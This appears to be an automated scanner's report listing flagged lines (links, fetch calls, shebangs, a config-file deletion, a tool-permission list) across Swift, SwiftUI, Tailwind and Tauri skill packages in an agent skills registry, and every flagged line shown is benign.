packages/autoskills/skills-registry/swift-concurrency/references/async-await-basics.md

  • Network accessline 38
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 2.1: Introduction to async/await syntax](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 75
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 2.2: Understanding the order of execution](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 122
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 2.3: Calling async functions in parallel using async let](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 149
    func fetchUser(id: Int) async throws -> User {     let url = URL(string: "https://api.example.com/users/\(id)")!
  • Network accessline 150
    let url = URL(string: "https://api.example.com/users/\(id)")!
  • Network accessline 168
    func createUser(_ user: User) async throws -> User {     let url = URL(string: "https://api.example.com/users")!
  • Network accessline 169
    let url = URL(string: "https://api.example.com/users")!
  • Network accessline 186
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 2.4: Performing network requests using URLSession and async/await](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-refere
  • Network accessline 265
    For in-depth coverage of async/await patterns, error handling strategies, and real-world migration scenarios, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).

packages/autoskills/skills-registry/swift-concurrency/references/async-sequences.md

  • Network accessline 106
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 6.1: Working with asynchronous sequences](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 147
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 6.2: Using AsyncStream and AsyncThrowingStream in your code](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 557
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 6.3: Deciding between AsyncSequence, AsyncStream, or regular asynchronous methods](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campai
  • Network accessline 709
    For real-world migration examples, performance patterns, and advanced stream techniques, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).

packages/autoskills/skills-registry/swift-concurrency/references/core-data.md

  • Network accessline 45
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 9.1: An introduction to Swift Concurrency and Core Data](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 115
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 9.2: Sendable and NSManageObjects](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 222
    try CoreDataStore.shared.perform { context in         let request = Article.fetchRequest()         return try context.fetch(request)
  • Network accessline 223
    let request = Article.fetchRequest()         return try context.fetch(request)     }
  • Network accessline 224
    return try context.fetch(request)
  • Network accessline 230
    try await CoreDataStore.shared.performInBackground { context in         let request = Article.fetchRequest()         let articles = try context.fetch(request)
  • Network accessline 231
    let request = Article.fetchRequest()         let articles = try context.fetch(request)         articles.forEach { context.delete($0) }
  • Network accessline 232
    let articles = try context.fetch(request)
  • Network accessline 250
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 9.3: Using a custom Actor executor for Core Data (advanced)](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 295
    using request: NSFetchRequest<T>     ) throws {         let objects = try context.fetch(request)
  • Network accessline 296
    ) throws {         let objects = try context.fetch(request)         objects.forEach { context.delete($0) }
  • Network accessline 297
    let objects = try context.fetch(request)
  • Network accessline 340
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 9.4: Autogenerated Core Data Objects and Default MainActor Isolation Conflicts](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=
  • Network accessline 351
    func fetchArticles() throws -> [Article] {     let request = Article.fetchRequest()     return try viewContext.fetch(request)
  • Network accessline 352
    let request = Article.fetchRequest()     return try viewContext.fetch(request) }
  • Network accessline 353
    return try viewContext.fetch(request)
  • Network accessline 529
    func background() async {     let articles = viewContext.fetch(request) // ❌ Not on main thread
  • Network accessline 530
    let articles = viewContext.fetch(request) // ❌ Not on main thread
  • Network accessline 557
    For Core Data best practices, migration strategies, and advanced patterns: - [Core Data Best Practices](https://github.com/avanderlee/CoreDataBestPractices)
  • Network accessline 558
    - [Core Data Best Practices](https://github.com/avanderlee/CoreDataBestPractices)
  • Network accessline 559
    - [Swift Concurrency Course](https://www.swiftconcurrencycourse.com)

packages/autoskills/skills-registry/swift-concurrency/references/linting.md

  • Network accessline 49
    // swiftlint:disable:next async_without_await func fetch() async { perform() }
  • Network accessline 50
    func fetch() async { perform() }

packages/autoskills/skills-registry/swift-concurrency/references/memory-management.md

  • Network accessline 43
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 8.1: Overview of memory management in Swift Concurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 122
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 8.2: Preventing retain cycles when using Tasks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 568
    For migration strategies, real-world examples, and advanced memory patterns, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).

packages/autoskills/skills-registry/swift-concurrency/references/migration.md

  • Network accessline 38
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.2: The impact of Swift 6 on Swift Concurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 67
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.1: Challenges in migrating to Swift Concurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 143
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.3: The six migration habits for a successful migration](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 269
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.5: The Approachable Concurrency build setting (Updated for Swift 6.2)](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson
  • Network accessline 304
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.4: Steps to migrate existing code to Swift 6 and Strict Concurrency Checking](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign
  • Network accessline 354
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.6: Migration tooling for upcoming Swift features](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 356
    **Additional resource**: [Migration Tooling Video](https://youtu.be/FK9XFxSWZPg?si=2z_ybn1t1YCJow5k)
  • Network accessline 413
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.7: Techniques for rewriting closures to async/await syntax](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 458
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.8: How and when to use @preconcurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 480
    - Use `@Observable` macro for SwiftUI - Use `AsyncStream` for custom observation - Consider [AsyncExtensions](https://github.com/sideeffect-io/AsyncExtensions) package
  • Network accessline 482
    - Consider [AsyncExtensions](https://github.com/sideeffect-io/AsyncExtensions) package
  • Network accessline 554
    **For complex operators**: Check [Swift Async Algorithms](https://github.com/apple/swift-async-algorithms) package.
  • Network accessline 601
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.9: Migrating away from Functional Reactive Programming like RxSwift or Combine](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campai
  • Network accessline 1037
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.10: Migrating to concurrency-safe notifications](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 1075
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 12.11: Frequently Asked Questions (FAQ) around Swift 6 Migrations](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-refere
  • Network accessline 1100
    **Additional resources**: - [Approachable Concurrency Video](https://youtu.be/y_Qc8cT-O_g?si=y4C1XQDGtyIOLW81)
  • Network accessline 1101
    - [Approachable Concurrency Video](https://youtu.be/y_Qc8cT-O_g?si=y4C1XQDGtyIOLW81)
  • Network accessline 1102
    - [Migration Tooling Video](https://youtu.be/FK9XFxSWZPg?si=2z_ybn1t1YCJow5k)
  • Network accessline 1103
    - [Swift Concurrency Course](https://www.swiftconcurrencycourse.com) for in-depth migration strategies

packages/autoskills/skills-registry/swift-concurrency/references/observation.md

  • Network accessline 178
    Swift 6.2 added [`Observations`](https://developer.apple.com/documentation/observation/observations), an `AsyncSequence` that streams transactional updates to any `@Observable` properties read inside its closure. This is the modern, framewo
  • Network accessline 417
    For in-depth coverage of Swift Concurrency, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).

packages/autoskills/skills-registry/swift-concurrency/references/performance.md

  • Network accessline 93
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 10.1: Using Xcode Instruments to find performance bottlenecks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 260
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 10.2: Reducing suspension points by managing isolation effectively](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-refer
  • Network accessline 398
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 10.3: Using Xcode Instruments to detect and remove suspension points](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-ref
  • Network accessline 461
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 10.4: How to choose between serialized, asynchronous, and parallel execution](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=le
  • Network accessline 659
    For real-world optimization examples, profiling techniques, and advanced performance patterns, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).

packages/autoskills/skills-registry/swift-concurrency/references/sendable.md

  • Network accessline 35
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 4.1: Explaining the concept of Sendable in Swift](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 123
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 4.2: Understanding Data Races vs. Race Conditions: Key Differences Explained](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=le
  • Network accessline 175
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 4.3: Conforming your code to the Sendable protocol](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 187
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 4.4: Sendable and Value Types](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 250
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 4.5: Sendable and Reference Types](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 293
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 4.6: Using @Sendable with closures](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 358
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 4.7: Using @unchecked Sendable](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 430
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 4.8: Understanding region-based isolation and the sending keyword](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-refere
  • Network accessline 477
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 4.9: Concurrency-safe global variables](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 525
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 4.10: Combining Sendable with custom Locks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 597
    For migration strategies, real-world examples, and actor patterns, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).

packages/autoskills/skills-registry/swift-concurrency/references/tasks.md

  • Network accessline 84
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.1: Introduction to tasks in Swift Concurrency](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 136
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.2: Task cancellation](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 176
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.3: Error handling in Tasks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 211
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.12: Running tasks in SwiftUI](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 274
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.5: Task Groups](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 279
    try await withThrowingTaskGroup(of: Data.self) { group in     for id in ids {         group.addTask { try await fetch(id) }
  • Network accessline 280
    for id in ids {         group.addTask { try await fetch(id) }     }
  • Network accessline 281
    group.addTask { try await fetch(id) }
  • Network accessline 373
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.6: Discarding Task Groups](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 382
    // async let async let data1 = fetch(1)
  • Network accessline 383
    async let data1 = fetch(1)
  • Network accessline 384
    async let data2 = fetch(2)
  • Network accessline 387
    // Task groups await withTaskGroup(of: Data.self) { group in     group.addTask { await fetch(1) }
  • Network accessline 388
    await withTaskGroup(of: Data.self) { group in     group.addTask { await fetch(1) }     group.addTask { await fetch(2) }
  • Network accessline 389
    group.addTask { await fetch(1) }
  • Network accessline 390
    group.addTask { await fetch(2) }
  • Network accessline 394
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.7: The difference between structured and unstructured tasks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 434
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.4: Detached Tasks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 484
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.8: Managing Task priorities](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 541
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.10: Task.yield() vs. Task.sleep()](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 602
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 3.14: Creating a Task timeout handler using a Task Group (advanced)](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-refe
  • Network accessline 661
    For hands-on examples, advanced patterns, and migration strategies, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).

packages/autoskills/skills-registry/swift-concurrency/references/testing.md

  • Network accessline 68
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 11.2: Testing concurrent code using Swift Testing](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 210
    let task = Task { try await fetcher.fetch(url) }
  • Network accessline 236
    let task = Task { try await fetcher.fetch(url) }
  • Network accessline 248
    **Add package**: `https://github.com/pointfreeco/swift-concurrency-extras.git`
  • Network accessline 250
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 11.3: Using Swift Concurrency Extras by Point-Free](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 320
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 11.1: Testing concurrent code using XCTest](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 588
    For advanced testing patterns, real-world examples, and migration strategies: - [Swift Testing Documentation](https://developer.apple.com/documentation/testing)
  • Network accessline 589
    - [Swift Testing Documentation](https://developer.apple.com/documentation/testing)
  • Network accessline 590
    - [Swift Concurrency Extras](https://github.com/pointfreeco/swift-concurrency-extras)
  • Network accessline 591
    - [Swift Concurrency Course](https://www.swiftconcurrencycourse.com)

packages/autoskills/skills-registry/swift-concurrency/references/threading.md

  • Network accessline 37
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 7.1: How Threads relate to Tasks](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 124
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 7.2: Getting rid of the "Threading Mindset"](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 193
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 7.3: Understanding Task suspension points](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-reference)
  • Network accessline 334
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 7.4: Dispatching to different threads using nonisolated(nonsending) and @concurrent (Updated for Swift 6.2)](https://www.swiftconcurrencycourse.com?utm_source=github&utm_med
  • Network accessline 380
    > **Course Deep Dive**: This topic is covered in detail in [Lesson 7.5: Controlling the default isolation domain (Updated for Swift 6.2)](https://www.swiftconcurrencycourse.com?utm_source=github&utm_medium=agent-skill&utm_campaign=lesson-re
  • Network accessline 540
    For migration strategies, real-world examples, and advanced threading patterns, see [Swift Concurrency Course](https://www.swiftconcurrencycourse.com).

packages/autoskills/skills-registry/swift-testing-expert/references/expectations.md

  • Network accessline 42
    @Test func parsedURLHasHTTPS() throws {  let value = "https://www.avanderlee.com"
  • Network accessline 43
    let value = "https://www.avanderlee.com"

packages/autoskills/skills-registry/swift-testing-expert/references/traits-and-tags.md

  • Network accessline 23
    @Test(.disabled("Flaky on CI while investigating issue"), .bug("https://example.com/issues/12"))

packages/autoskills/skills-registry/swiftui-expert-skill/assets/logo.svg

  • Network accessline 1
    <?xml version="1.0" encoding="UTF-8"?> <svg width="1024px" height="1024px" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  • Network accessline 2
    <svg width="1024px" height="1024px" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">

packages/autoskills/skills-registry/swiftui-expert-skill/references/charts-accessibility.md

  • Network accessline 113
    - [Hello Swift Charts](https://developer.apple.com/videos/play/wwdc2022/10136/) (WWDC 2022) — introduction to the framework
  • Network accessline 114
    - [Swift Charts: Raise the bar](https://developer.apple.com/videos/play/wwdc2022/10137/) (WWDC 2022) — marks, composition, customization
  • Network accessline 115
    - [Design an effective chart](https://developer.apple.com/videos/play/wwdc2022/110340/) (WWDC 2022) — chart design principles
  • Network accessline 116
    - [Design app experiences with charts](https://developer.apple.com/videos/play/wwdc2022/110342/) (WWDC 2022) — integrating charts into app UX
  • Network accessline 117
    - [Explore pie charts and interactivity in Swift Charts](https://developer.apple.com/videos/play/wwdc2023/10037/) (WWDC 2023) — SectorMark, selection, scrolling
  • Network accessline 118
    - [Swift Charts: Vectorized and function plots](https://developer.apple.com/videos/play/wwdc2024/10155/) (WWDC 2024) — LinePlot, AreaPlot, function plotting
  • Network accessline 119
    - [Bring Swift Charts to the third dimension](https://developer.apple.com/videos/play/wwdc2025/313/) (WWDC 2025) — Chart3D, SurfacePlot, 3D marks

packages/autoskills/skills-registry/swiftui-expert-skill/references/iphone-duo.md

  • Network accessline 69
    Before claiming a fold or landscape layout works, check whether your environment can pose the iPhone Duo simulator. `simctl` cannot fold or rotate it, but the [RocketSim](https://www.rocketsim.app) CLI can: `rocketsim duo pose closed|book|o
  • Network accessline 75
    - [Get ready for iPhone Duo](https://developer.apple.com/iphone-duo/)
  • Network accessline 76
    - [Preparing your app for iPhone Duo](https://developer.apple.com/documentation/technologyoverviews/preparing-your-app-for-iphone-duo)
  • Network accessline 77
    - [Designing for iPhone Duo](https://developer.apple.com/design/human-interface-guidelines/designing-for-iphone-duo)
  • Network accessline 78
    - Apple Tech Talks 111461–111466, especially [Prepare your app](https://developer.apple.com/videos/play/tech-talks/111461/), [Raise the bar](https://developer.apple.com/videos/play/tech-talks/111462/), [Strike a pose](https://developer.appl

packages/autoskills/skills-registry/swiftui-expert-skill/references/latest-apis.md

  • Network accessline 442
    // Simple URL display WebView(url: URL(string: "https://example.com")!)
  • Network accessline 443
    WebView(url: URL(string: "https://example.com")!)

packages/autoskills/skills-registry/swiftui-expert-skill/references/layout-best-practices.md

  • Network accessline 132
    Apple's iPhone Duo guidance says not to just stretch the compact layout: reflow stacked content into two columns when width allows ([HIG](https://developer.apple.com/design/human-interface-guidelines/designing-for-iphone-duo)). For a scroll

packages/autoskills/skills-registry/swiftui-expert-skill/references/styled-text-editing.md

  • Network accessline 180
    Text("This is **bold** and *italic*") Text("Visit [Apple](https://www.apple.com)")
  • Network accessline 181
    Text("Visit [Apple](https://www.apple.com)")

packages/autoskills/skills-registry/swiftui-expert-skill/references/webkit-integration.md

  • Network accessline 29
    WebView(url: URL(string: "https://www.swift.org"))
  • Network accessline 46
    }         .onAppear {             _ = page.load(URL(string: "https://www.apple.com"))
  • Network accessline 47
    .onAppear {             _ = page.load(URL(string: "https://www.apple.com"))         }
  • Network accessline 48
    _ = page.load(URL(string: "https://www.apple.com"))
  • Network accessline 83
    _ = page.load(URLRequest(url: url)) _ = page.load(html: "<h1>Hello</h1>", baseURL: URL(string: "https://example.com")!)
  • Network accessline 84
    _ = page.load(html: "<h1>Hello</h1>", baseURL: URL(string: "https://example.com")!)

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/analyze_trace.py

  • Executable scriptline 1
    #!/usr/bin/env python3

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/__init__.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/causes.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/correlate.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/events.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/hangs.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/hitches.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/summary.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/swiftui.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/time_profiler.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/xctrace.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/instruments_parser/xml_utils.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/swiftui-expert-skill/scripts/record_trace.py

  • Executable scriptline 1
    #!/usr/bin/env python3

packages/autoskills/skills-registry/tailwind-css-patterns/SKILL.md

  • Broad permissionsline 1
    Read, Write, Edit, Glob, Grep, Bash
  • Network accessline 150
    - [Tailwind CSS Docs](https://tailwindcss.com/docs)
  • Network accessline 151
    - [Tailwind UI](https://tailwindui.com)
  • Network accessline 152
    - [Tailwind Play](https://play.tailwindcss.com)

packages/autoskills/skills-registry/tailwind-css-patterns/references/animations.md

  • Network accessline 58
    <!-- Loading spinner --> <svg class="animate-spin h-5 w-5 text-blue-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
  • Network accessline 59
    <svg class="animate-spin h-5 w-5 text-blue-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">

packages/autoskills/skills-registry/tailwind-v4-shadcn/SKILL.md

  • Network accessline 31
    **Production-tested**: WordPress Auditor (https://wordpress-auditor.webfonts.workers.dev)
  • Dangerous shell operationline 143
    rm tailwind.config.ts  # v4 doesn't use this file
  • Network accessline 538
    - **shadcn/ui Vite Setup**: https://ui.shadcn.com/docs/installation/vite
  • Network accessline 539
    - **shadcn/ui Tailwind v4 Guide**: https://ui.shadcn.com/docs/tailwind-v4
  • Network accessline 540
    - **shadcn/ui Dark Mode (Vite)**: https://ui.shadcn.com/docs/dark-mode/vite
  • Network accessline 541
    - **Tailwind v4 Docs**: https://tailwindcss.com/docs
  • Network accessline 542
    - **shadcn/ui Theming**: https://ui.shadcn.com/docs/theming
  • Network accessline 558
    This skill is based on the WordPress Auditor project: - **Live**: https://wordpress-auditor.webfonts.workers.dev
  • Network accessline 559
    - **Live**: https://wordpress-auditor.webfonts.workers.dev
  • Network accessline 572
    3. Ensure `components.json` has `"config": ""` 4. Delete `tailwind.config.ts` if it exists 5. Check official docs: https://ui.shadcn.com/docs/tailwind-v4
  • Network accessline 574
    5. Check official docs: https://ui.shadcn.com/docs/tailwind-v4

packages/autoskills/skills-registry/tailwind-v4-shadcn/references/advanced-usage.md

  • Network accessline 169
    - Tailwind v4 Docs: https://tailwindcss.com/blog/tailwindcss-v4-beta
  • Network accessline 170
    - shadcn/ui: https://ui.shadcn.com
  • Network accessline 171
    - class-variance-authority: https://cva.style/docs

packages/autoskills/skills-registry/tailwind-v4-shadcn/references/dark-mode.md

  • Network accessline 238
    - shadcn/ui Dark Mode (Vite): https://ui.shadcn.com/docs/dark-mode/vite
  • Network accessline 239
    - Tailwind Dark Mode: https://tailwindcss.com/docs/dark-mode

packages/autoskills/skills-registry/tailwind-v4-shadcn/references/plugins-reference.md

  • Network accessline 133
    - Typography: https://tailwindcss.com/docs/typography-plugin
  • Network accessline 134
    - Forms: https://tailwindcss.com/docs/plugins#official-plugins
  • Network accessline 135
    - Tailwind v4 Plugin System: https://tailwindcss.com/blog/tailwindcss-v4-beta#css-first-configuration

packages/autoskills/skills-registry/tailwind-v4-shadcn/templates/components.json

  • Network accessline 1
    {   "$schema": "https://ui.shadcn.com/schema.json",
  • Network accessline 2
    "$schema": "https://ui.shadcn.com/schema.json",

packages/autoskills/skills-registry/tailwind-v4-shadcn/templates/index.css

  • Network accessline 3
    /*   Tailwind v4 + shadcn/ui Dark Mode Pattern   Based on: https://ui.shadcn.com/docs/tailwind-v4
  • Network accessline 5
    Based on: https://ui.shadcn.com/docs/tailwind-v4

packages/autoskills/skills-registry/tailwind-v4-shadcn/templates/theme-provider.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/tailwind-v4-shadcn/templates/utils.ts

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/tailwind-v4-shadcn/templates/vite.config.ts

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    // https://vite.dev/config/

packages/autoskills/skills-registry/tauri-v2/README.md

  • Network accessline 9
    | **Last Updated** | 2026-04-02 | | **Confidence** | 4/5 | | **Production Tested** | https://v2.tauri.app/ |
  • Network accessline 11
    | **Production Tested** | https://v2.tauri.app/ |
  • Network accessline 90
    > [!NOTE] > This skill targets **Tauri v2+**. Feature availability may vary across minor versions. When exact version timing matters, check the [official Tauri changelog](https://github.com/tauri-apps/tauri/blob/dev/crates/tauri/CHANGELOG.m
  • Network accessline 91
    > This skill targets **Tauri v2+**. Feature availability may vary across minor versions. When exact version timing matters, check the [official Tauri changelog](https://github.com/tauri-apps/tauri/blob/dev/crates/tauri/CHANGELOG.md) and rel
  • Network accessline 170
    *\*Last verified: 2026-04-02. Always check [official changelog](https://github.com/tauri-apps/tauri/blob/dev/crates/tauri/CHANGELOG.md) for feature timing.*
  • Network accessline 174
    - [Tauri v2+ Documentation](https://v2.tauri.app/)
  • Network accessline 175
    - [Commands Reference](https://v2.tauri.app/develop/calling-rust/)
  • Network accessline 176
    - [IPC Concepts](https://v2.tauri.app/concept/inter-process-communication/)
  • Network accessline 177
    - [Capabilities & Permissions](https://v2.tauri.app/security/capabilities/)
  • Network accessline 178
    - [Configuration Reference](https://v2.tauri.app/reference/config/)
  • Network accessline 179
    - [Plugin Directory](https://v2.tauri.app/plugin/)

packages/autoskills/skills-registry/tauri-v2/SKILL.md

  • Network accessline 156
    "identifier": "com.example.myapp",     "build": {         "devUrl": "http://localhost:5173",
  • Network accessline 157
